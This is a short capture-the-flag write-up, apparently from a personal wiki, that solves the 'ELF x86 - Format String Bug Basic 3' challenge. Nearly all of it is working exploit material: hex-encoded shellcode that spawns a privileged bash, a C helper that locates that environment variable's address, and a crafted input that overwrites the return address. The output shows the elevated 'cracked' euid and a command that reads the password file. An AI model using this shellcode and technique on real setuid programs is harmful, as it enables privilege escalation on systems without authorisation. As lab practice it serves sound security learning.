

ELF x86 - Format String Bug

Basic 3

```
app-systeme-ch17@challenge02:~$ export SHELLCODE=`python -c
'print("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62
\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80")`

# METTRE DANS /tmp/findenv.c le code suivant :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[]) {
    char *ptr;
    if(argc<3){
        printf("Usage: %s <environment var> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
    printf("%s will be at %p\n", argv[1], ptr);
}

# Puis faire make et renommer a.out en findenv
app-systeme-ch17@challenge02:~$ /tmp/findenv SHELLCODE ./ch17
SHELLCODE will be at 0xbffffe33
app-systeme-ch17@challenge02:~$ (python -c "print '%117x'+'\x33\xfe\xff\xbf' ; cat ) | ./ch17
Username: Bad username: %117x3???
id
uid=1117(app-systeme-ch17) gid=1117(app-systeme-ch17) euid=1217(app-systeme-ch17-cracked)
groups=1117(app-systeme-ch17),100(users)
cat .passwd
```

Revision #2

Created 16 July 2023 16:10:21 by Makito

Updated 16 July 2023 16:11:45 by Makito